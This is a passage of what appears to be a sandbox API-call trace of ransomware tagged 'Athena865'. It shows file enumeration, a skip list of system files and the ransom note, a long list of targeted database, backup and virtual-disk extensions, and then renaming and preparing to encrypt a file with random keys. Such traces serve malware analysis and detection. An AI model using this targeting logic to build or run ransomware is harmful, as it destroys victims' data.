hHeap=0x4f0000) returned 1 [0090.050] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0090.052] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x1d040, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sqlcecompact35.dll", cAlternateFileName="SQLCEC~2.DLL")) returned 1 [0090.052] lstrcmpiW (lpString1="sqlcecompact35.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0090.052] lstrcmpiW (lpString1="sqlcecompact35.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0090.053] lstrcmpiW (lpString1="sqlcecompact35.dll", lpString2=".") returned 1 [0090.053] lstrcmpiW (lpString1="sqlcecompact35.dll", lpString2="..") returned 1 [0090.053] lstrcmpiW (lpString1="sqlcecompact35.dll", lpString2="windows") returned -1 [0090.053] lstrcmpiW (lpString1="sqlcecompact35.dll", lpString2="bootmgr") returned 1 [0090.053] lstrcmpiW (lpString1="sqlcecompact35.dll", lpString2="temp") returned -1 [0090.053] lstrcmpiW (lpString1="sqlcecompact35.dll", lpString2="pagefile.sys") returned 1 [0090.053] lstrcmpiW (lpString1="sqlcecompact35.dll", lpString2="boot") returned 1 [0090.053] lstrcmpiW (lpString1="sqlcecompact35.dll", lpString2="ids.txt") returned 1 [0090.053] lstrcmpiW (lpString1="sqlcecompact35.dll", lpString2="ntuser.dat") returned 1 [0090.053] lstrcmpiW (lpString1="sqlcecompact35.dll", lpString2="perflogs") returned 1 [0090.053] lstrcmpiW (lpString1="sqlcecompact35.dll", lpString2="MSBuild") returned 1 [0090.053] lstrlenW (lpString="sqlcecompact35.dll") returned 18 [0090.053] lstrcpyW (in: lpString1=0x241e8be, lpString2="sqlcecompact35.dll" | out: lpString1="sqlcecompact35.dll") returned="sqlcecompact35.dll" [0090.053] lstrlenW (lpString="sqlcecompact35.dll") returned 18 [0090.053] lstrlenW (lpString="Athena865") returned 9 [0090.053] lstrcmpiW (lpString1="act35.dll", lpString2="Athena865") returned -1 [0090.053] lstrlenW (lpString=".dll") returned 4 [0090.053] lstrcmpiW (lpString1="sqlcecompact35.dll", lpString2=".dll") returned 1 [0090.053] lstrlenW (lpString=".lnk") returned 4 [0090.053] lstrcmpiW (lpString1="sqlcecompact35.dll", lpString2=".lnk") returned 1 [0090.053] lstrlenW (lpString=".ini") returned 4 [0090.053] lstrcmpiW (lpString1="sqlcecompact35.dll", lpString2=".ini") returned 1 [0090.053] lstrlenW (lpString=".sys") returned 4 [0090.053] lstrcmpiW (lpString1="sqlcecompact35.dll", lpString2=".sys") returned 1 [0090.053] lstrlenW (lpString="sqlcecompact35.dll") returned 18 [0090.053] lstrlenW (lpString="bak") returned 3 [0090.053] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0090.053] lstrlenW (lpString="ba_") returned 3 [0090.053] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0090.053] lstrlenW (lpString="dbb") returned 3 [0090.053] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0090.053] lstrlenW (lpString="vmdk") returned 4 [0090.054] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0090.054] lstrlenW (lpString="rar") returned 3 [0090.054] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0090.054] lstrlenW (lpString="zip") returned 3 [0090.054] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0090.054] lstrlenW (lpString="tgz") returned 3 [0090.054] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0090.054] lstrlenW (lpString="vbox") returned 4 [0090.054] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0090.054] lstrlenW (lpString="vdi") returned 3 [0090.054] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0090.054] lstrlenW (lpString="vhd") returned 3 [0090.054] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0090.054] lstrlenW (lpString="vhdx") returned 4 [0090.054] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0090.054] lstrlenW (lpString="avhd") returned 4 [0090.054] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0090.054] lstrlenW (lpString="db") returned 2 [0090.054] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0090.054] lstrlenW (lpString="db2") returned 3 [0090.054] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0090.054] lstrlenW (lpString="db3") returned 3 [0090.054] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0090.054] lstrlenW (lpString="dbf") returned 3 [0090.054] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0090.054] lstrlenW (lpString="mdf") returned 3 [0090.054] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0090.054] lstrlenW (lpString="mdb") returned 3 [0090.054] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0090.054] lstrlenW (lpString="sql") returned 3 [0090.054] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0090.054] lstrlenW (lpString="sqlite") returned 6 [0090.055] lstrcmpiW (lpString1="35.dll", lpString2="sqlite") returned -1 [0090.055] lstrlenW (lpString="sqlite3") returned 7 [0090.055] lstrcmpiW (lpString1="t35.dll", lpString2="sqlite3") returned 1 [0090.055] lstrlenW (lpString="sqlitedb") returned 8 [0090.055] lstrcmpiW (lpString1="ct35.dll", lpString2="sqlitedb") returned -1 [0090.055] lstrlenW (lpString="xml") returned 3 [0090.055] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0090.055] lstrlenW (lpString="$er") returned 3 [0090.055] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0090.055] lstrlenW (lpString="4dd") returned 3 [0090.055] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0090.055] lstrlenW (lpString="4dl") returned 3 [0090.055] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0090.055] lstrlenW (lpString="^^^") returned 3 [0090.055] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0090.055] lstrlenW (lpString="abs") returned 3 [0090.055] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0090.055] lstrlenW (lpString="abx") returned 3 [0090.055] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0090.055] lstrlenW (lpString="accdb") returned 5 [0090.055] lstrcmpiW (lpString1="5.dll", lpString2="accdb") returned -1 [0090.055] lstrlenW (lpString="accdc") returned 5 [0090.055] lstrcmpiW (lpString1="5.dll", lpString2="accdc") returned -1 [0090.055] lstrlenW (lpString="accde") returned 5 [0090.055] lstrcmpiW (lpString1="5.dll", lpString2="accde") returned -1 [0090.055] lstrlenW (lpString="accdr") returned 5 [0090.055] lstrcmpiW (lpString1="5.dll", lpString2="accdr") returned -1 [0090.055] lstrlenW (lpString="accdt") returned 5 [0090.055] lstrcmpiW (lpString1="5.dll", lpString2="accdt") returned -1 [0090.055] lstrlenW (lpString="accdw") returned 5 [0090.055] lstrcmpiW (lpString1="5.dll", lpString2="accdw") returned -1 [0090.055] lstrlenW (lpString="accft") returned 5 [0090.055] lstrcmpiW (lpString1="5.dll", lpString2="accft") returned -1 [0090.056] lstrlenW (lpString="adb") returned 3 [0090.056] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0090.056] lstrlenW (lpString="adb") returned 3 [0090.056] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0090.056] lstrlenW (lpString="ade") returned 3 [0090.056] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0090.056] lstrlenW (lpString="adf") returned 3 [0090.056] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0090.056] lstrlenW (lpString="adn") returned 3 [0090.056] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0090.056] lstrlenW (lpString="adp") returned 3 [0090.056] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0090.056] lstrlenW (lpString="alf") returned 3 [0090.056] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0090.056] lstrlenW (lpString="ask") returned 3 [0090.056] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0090.056] lstrlenW (lpString="btr") returned 3 [0090.056] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0090.056] lstrlenW (lpString="cat") returned 3 [0090.056] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0090.056] lstrlenW (lpString="cdb") returned 3 [0090.056] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0090.056] lstrlenW (lpString="ckp") returned 3 [0090.056] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0090.056] lstrlenW (lpString="cma") returned 3 [0090.056] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0090.056] lstrlenW (lpString="cpd") returned 3 [0090.056] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0090.056] lstrlenW (lpString="dacpac") returned 6 [0090.056] lstrcmpiW (lpString1="35.dll", lpString2="dacpac") returned -1 [0090.056] lstrlenW (lpString="dad") returned 3 [0090.056] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0090.057] lstrlenW (lpString="dadiagrams") returned 10 [0090.057] lstrcmpiW (lpString1="pact35.dll", lpString2="dadiagrams") returned 1 [0090.057] lstrlenW (lpString="daschema") returned 8 [0090.057] lstrcmpiW (lpString1="ct35.dll", lpString2="daschema") returned -1 [0090.057] lstrlenW (lpString="db-journal") returned 10 [0090.057] lstrcmpiW (lpString1="pact35.dll", lpString2="db-journal") returned 1 [0090.057] lstrlenW (lpString="db-shm") returned 6 [0090.057] lstrcmpiW (lpString1="35.dll", lpString2="db-shm") returned -1 [0090.057] lstrlenW (lpString="db-wal") returned 6 [0090.057] lstrcmpiW (lpString1="35.dll", lpString2="db-wal") returned -1 [0090.057] lstrlenW (lpString="dbc") returned 3 [0090.057] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0090.057] lstrlenW (lpString="dbs") returned 3 [0090.057] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0090.057] lstrlenW (lpString="dbt") returned 3 [0090.057] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0090.057] lstrlenW (lpString="dbv") returned 3 [0090.057] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0090.057] lstrlenW (lpString="dbx") returned 3 [0090.057] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0090.057] lstrlenW (lpString="dcb") returned 3 [0090.057] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0090.057] lstrlenW (lpString="dct") returned 3 [0090.057] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0090.057] lstrlenW (lpString="dcx") returned 3 [0090.057] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0090.057] lstrlenW (lpString="ddl") returned 3 [0090.057] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0090.057] lstrlenW (lpString="dlis") returned 4 [0090.057] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0090.057] lstrlenW (lpString="dp1") returned 3 [0090.057] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0090.057] lstrlenW (lpString="dqy") returned 3 [0090.058] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0090.058] lstrlenW (lpString="dsk") returned 3 [0090.058] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0090.058] lstrlenW (lpString="dsn") returned 3 [0090.058] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0090.058] lstrlenW (lpString="dtsx") returned 4 [0090.058] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0090.058] lstrlenW (lpString="dxl") returned 3 [0090.058] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0090.058] lstrlenW (lpString="eco") returned 3 [0090.058] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0090.058] lstrlenW (lpString="ecx") returned 3 [0090.058] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0090.058] lstrlenW (lpString="edb") returned 3 [0090.058] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0090.058] lstrlenW (lpString="epim") returned 4 [0090.058] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0090.058] lstrlenW (lpString="fcd") returned 3 [0090.058] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0090.058] lstrlenW (lpString="fdb") returned 3 [0090.058] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0090.058] lstrlenW (lpString="fic") returned 3 [0090.058] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0090.058] lstrlenW (lpString="flexolibrary") returned 12 [0090.058] lstrcmpiW (lpString1="ompact35.dll", lpString2="flexolibrary") returned 1 [0090.058] lstrlenW (lpString="fm5") returned 3 [0090.058] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0090.058] lstrlenW (lpString="fmp") returned 3 [0090.058] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0090.058] lstrlenW (lpString="fmp12") returned 5 [0090.058] lstrcmpiW (lpString1="5.dll", lpString2="fmp12") returned -1 [0090.058] lstrlenW (lpString="fmpsl") returned 5 [0090.059] lstrcmpiW (lpString1="5.dll", lpString2="fmpsl") returned -1 [0090.059] lstrlenW (lpString="fol") returned 3 [0090.059] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0090.059] lstrlenW (lpString="fp3") returned 3 [0090.059] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0090.059] lstrlenW (lpString="fp4") returned 3 [0090.059] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0090.059] lstrlenW (lpString="fp5") returned 3 [0090.059] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0090.059] lstrlenW (lpString="fp7") returned 3 [0090.059] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0090.059] lstrlenW (lpString="fpt") returned 3 [0090.059] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0090.059] lstrlenW (lpString="frm") returned 3 [0090.059] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0090.059] lstrlenW (lpString="gdb") returned 3 [0090.059] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0090.059] lstrlenW (lpString="gdb") returned 3 [0090.059] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0090.059] lstrlenW (lpString="grdb") returned 4 [0090.059] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0090.059] lstrlenW (lpString="gwi") returned 3 [0090.059] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0090.059] lstrlenW (lpString="hdb") returned 3 [0090.059] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0090.059] lstrlenW (lpString="his") returned 3 [0090.059] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0090.059] lstrlenW (lpString="ib") returned 2 [0090.059] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0090.059] lstrlenW (lpString="idb") returned 3 [0090.059] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0090.059] lstrlenW (lpString="ihx") returned 3 [0090.059] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0090.060] lstrlenW (lpString="itdb") returned 4 [0090.060] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0090.060] lstrlenW (lpString="itw") returned 3 [0090.060] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0090.060] lstrlenW (lpString="jet") returned 3 [0090.060] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0090.060] lstrlenW (lpString="jtx") returned 3 [0090.060] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0090.060] lstrlenW (lpString="kdb") returned 3 [0090.060] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0090.060] lstrlenW (lpString="kexi") returned 4 [0090.060] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0090.060] lstrlenW (lpString="kexic") returned 5 [0090.060] lstrcmpiW (lpString1="5.dll", lpString2="kexic") returned -1 [0090.060] lstrlenW (lpString="kexis") returned 5 [0090.060] lstrcmpiW (lpString1="5.dll", lpString2="kexis") returned -1 [0090.060] lstrlenW (lpString="lgc") returned 3 [0090.060] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0090.060] lstrlenW (lpString="lwx") returned 3 [0090.060] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0090.060] lstrlenW (lpString="maf") returned 3 [0090.060] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0090.060] lstrlenW (lpString="maq") returned 3 [0090.060] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0090.060] lstrlenW (lpString="mar") returned 3 [0090.060] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0090.060] lstrlenW (lpString="marshal") returned 7 [0090.060] lstrcmpiW (lpString1="t35.dll", lpString2="marshal") returned 1 [0090.060] lstrlenW (lpString="mas") returned 3 [0090.060] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0090.060] lstrlenW (lpString="mav") returned 3 [0090.060] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0090.061] lstrlenW (lpString="maw") returned 3 [0090.061] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0090.061] lstrlenW (lpString="mdbhtml") returned 7 [0090.061] lstrcmpiW (lpString1="t35.dll", lpString2="mdbhtml") returned 1 [0090.061] lstrlenW (lpString="mdn") returned 3 [0090.061] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0090.061] lstrlenW (lpString="mdt") returned 3 [0090.061] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0090.061] lstrlenW (lpString="mfd") returned 3 [0090.061] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0090.061] lstrlenW (lpString="mpd") returned 3 [0090.062] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0090.062] lstrlenW (lpString="mrg") returned 3 [0090.062] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0090.062] lstrlenW (lpString="mud") returned 3 [0090.062] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0090.062] lstrlenW (lpString="mwb") returned 3 [0090.062] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0090.062] lstrlenW (lpString="myd") returned 3 [0090.062] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0090.062] lstrlenW (lpString="ndf") returned 3 [0090.062] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0090.062] lstrlenW (lpString="nnt") returned 3 [0090.062] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0090.062] lstrlenW (lpString="nrmlib") returned 6 [0090.062] lstrcmpiW (lpString1="35.dll", lpString2="nrmlib") returned -1 [0090.062] lstrlenW (lpString="ns2") returned 3 [0090.062] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0090.062] lstrlenW (lpString="ns3") returned 3 [0090.063] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0090.063] lstrlenW (lpString="ns4") returned 3 [0090.063] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0090.063] lstrlenW (lpString="nsf") returned 3 [0090.063] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0090.063] lstrlenW (lpString="nv") returned 2 [0090.063] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0090.063] lstrlenW (lpString="nv2") returned 3 [0090.063] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0090.063] lstrlenW (lpString="nwdb") returned 4 [0090.063] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0090.063] lstrlenW (lpString="nyf") returned 3 [0090.063] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0090.063] lstrlenW (lpString="odb") returned 3 [0090.063] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0090.063] lstrlenW (lpString="odb") returned 3 [0090.063] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0090.063] lstrlenW (lpString="oqy") returned 3 [0090.063] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0090.063] lstrlenW (lpString="ora") returned 3 [0090.063] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0090.063] lstrlenW (lpString="orx") returned 3 [0090.063] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0090.063] lstrlenW (lpString="owc") returned 3 [0090.063] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0090.063] lstrlenW (lpString="p96") returned 3 [0090.063] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0090.063] lstrlenW (lpString="p97") returned 3 [0090.063] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0090.063] lstrlenW (lpString="pan") returned 3 [0090.064] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0090.064] lstrlenW (lpString="pdb") returned 3 [0090.064] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0090.064] lstrlenW (lpString="pdm") returned 3 [0090.064] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0090.064] lstrlenW (lpString="pnz") returned 3 [0090.064] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0090.064] lstrlenW (lpString="qry") returned 3 [0090.064] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0090.064] lstrlenW (lpString="qvd") returned 3 [0090.064] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0090.064] lstrlenW (lpString="rbf") returned 3 [0090.064] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0090.064] lstrlenW (lpString="rctd") returned 4 [0090.064] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0090.064] lstrlenW (lpString="rod") returned 3 [0090.064] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0090.064] lstrlenW (lpString="rodx") returned 4 [0090.064] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0090.064] lstrlenW (lpString="rpd") returned 3 [0090.064] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0090.064] lstrlenW (lpString="rsd") returned 3 [0090.064] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0090.064] lstrlenW (lpString="sas7bdat") returned 8 [0090.064] lstrcmpiW (lpString1="ct35.dll", lpString2="sas7bdat") returned -1 [0090.064] lstrlenW (lpString="sbf") returned 3 [0090.064] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0090.064] lstrlenW (lpString="scx") returned 3 [0090.064] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0090.064] lstrlenW (lpString="sdb") returned 3 [0090.064] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0090.064] lstrlenW (lpString="sdc") returned 3 [0090.064] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0090.065] lstrlenW (lpString="sdf") returned 3 [0090.065] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0090.065] lstrlenW (lpString="sis") returned 3 [0090.065] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0090.065] lstrlenW (lpString="spq") returned 3 [0090.065] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0090.065] lstrlenW (lpString="te") returned 2 [0090.065] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0090.065] lstrlenW (lpString="teacher") returned 7 [0090.065] lstrcmpiW (lpString1="t35.dll", lpString2="teacher") returned -1 [0090.065] lstrlenW (lpString="tmd") returned 3 [0090.065] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0090.065] lstrlenW (lpString="tps") returned 3 [0090.065] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0090.065] lstrlenW (lpString="trc") returned 3 [0090.065] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0090.065] lstrlenW (lpString="trc") returned 3 [0090.065] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0090.065] lstrlenW (lpString="trm") returned 3 [0090.065] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0090.065] lstrlenW (lpString="udb") returned 3 [0090.065] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0090.065] lstrlenW (lpString="udl") returned 3 [0090.065] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0090.065] lstrlenW (lpString="usr") returned 3 [0090.065] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0090.065] lstrlenW (lpString="v12") returned 3 [0090.065] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0090.065] lstrlenW (lpString="vis") returned 3 [0090.065] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0090.065] lstrlenW (lpString="vpd") returned 3 [0090.065] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0090.066] lstrlenW (lpString="vvv") returned 3 [0090.066] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0090.066] lstrlenW (lpString="wdb") returned 3 [0090.066] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0090.066] lstrlenW (lpString="wmdb") returned 4 [0090.066] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0090.066] lstrlenW (lpString="wrk") returned 3 [0090.066] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0090.066] lstrlenW (lpString="xdb") returned 3 [0090.066] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0090.066] lstrlenW (lpString="xld") returned 3 [0090.066] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0090.066] lstrlenW (lpString="xmlff") returned 5 [0090.066] lstrcmpiW (lpString1="5.dll", lpString2="xmlff") returned -1 [0090.066] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlcecompact35.dll.Athena865") returned 87 [0090.066] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlcecompact35.dll" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5\\sqlcecompact35.dll"), lpNewFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlcecompact35.dll.Athena865" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5\\sqlcecompact35.dll.athena865"), dwFlags=0x1) returned 1 [0090.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlcecompact35.dll.Athena865" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5\\sqlcecompact35.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0090.070] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=118848) returned 1 [0090.070] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0090.070] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0090.070] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0090.070] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0090.071] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0090.071] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0090.071] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1d340, lpName=0x0) returned 0x154 [0090.072] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1d340) returned 0x100000 [0090.129] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0090.130] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0090.130] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0090.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0090.130] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0090.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0090.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0090.131] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, 